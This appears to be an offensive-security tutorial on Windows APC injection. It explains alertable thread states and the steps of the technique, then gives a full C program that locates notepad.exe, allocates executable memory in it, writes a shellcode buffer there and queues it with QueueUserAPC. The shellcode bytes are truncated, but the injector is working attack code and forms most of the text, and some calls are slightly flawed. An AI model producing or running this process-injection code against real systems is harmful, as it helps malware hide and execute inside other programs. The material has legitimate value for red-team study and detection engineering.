APC is a good technique for triggering the execution of our shellcode on a target process. It is a mechanism in Windows that allows a developer to queue a function to be executed asynchronously within the context of a target thread.
One important concept related to APCs is the alertable state of a thread. To become alertable, a thread has to call certain Win API functions that are specifically designed to switch a thread into this state. These are:
SleepEx()
WaitForSingleObjectEx()
WaitForMultipleObjectsEx()
SignalObjectAndWait()
MsgWaitForMultipleObjectsEx()
To schedule an APC in a thread we can use the functions QueueUserAPC
or NtQueueApcThread
.
Note: Not very stable technique and we need to wait to the trigger itself. Or trigger it with another binary.
The technique attack flow is the following:
OpenProcess()
: Open a remote process handle.OpenThread()
: Open a remote thread handle.VirtualAllocEx
: Allocate memory buffer in the remote process to store shellcode.WriteProcessMemory()
: Write shellcode in remote memory bufferQueueUserAPC()
: Execute shellcode in remote proccess by scheduling APC object in the threads APC queue.- Wait till the thread enteres in alertable state which is not guaranteed.
Code
Example of APC Injection:
#include <Windows.h>
#include <stdio.h>
#include <tlhelp32.h>
int FindThread(int pid){
THREADENTRY32 thEntry;
int tid = 0;
thEntry.dwSize = sizeof(thEntry);
HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
while (Thread32Next(Snap, &thEntry)) {
if (thEntry.th32OwnerProcessID == pid) {
tid = thEntry.th32ThreadID;
break;
}
}
CloseHandle(Snap);
return tid;
}
int FindProcess(const char * procname){
int pid = 0;
HANDLE hSnapshot;
PROCESSENTRY32 lppe;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(INVALID_HANDLE_VALUE == hSnapshot){
return -1;
}
lppe.dwSize = sizeof(PROCESSENTRY32);
printf("Num of Processes... dwSize -> %d\n", lppe.dwSize);
// Snapshot done!
if(!Process32First(hSnapshot, &lppe)){
CloseHandle(hSnapshot);
return -1;
}
do{
if(lstrcmpiA(procname, lppe.szExeFile)==0){
printf("PID -> %d\t%s\n", lppe.th32ProcessID, lppe.szExeFile);
pid = lppe.th32ProcessID;
break;
}
}while(Process32Next(hSnapshot, &lppe));
CloseHandle(hSnapshot);
return pid;
}
int main(int argc, char *argv[]) {
int pid;
int tid;
HANDLE hThread;
HANDLE hProc;
void * pRemoteCode;
char payload[] = {0xfc, 0x48,...};
pid = FindProcess("notepad.exe");
printf("[+] Notepad Found! pid -> %d \n", pid);
tid = FindThread(pid);
printf("[+] Thread Found! tid -> %d \n", tid);
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, (DWORD) pid);
getchar();
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
getchar();
if(hProc != NULL && hThread != NULL){
pRemoteCode = VirtualAllocEx(hProc, NULL, sizeof(payload), MEM_COMMIT, PAGE_EXECUTE_READ);
printf("pRemoteCode -> 0x%p\n", pRemoteCode);
WriteProcessMemory(hProc, pRemoteCode, payload, sizeof(payload), (SIZE_T *) NULL);
QueueUserAPC((PAPCFUNC)pRemoteCode, hThread, NULL);
printf("Thread queued!\n");
getchar();
}
CloseHandle(hProc);
CloseHandle(hThread);
return 0;
}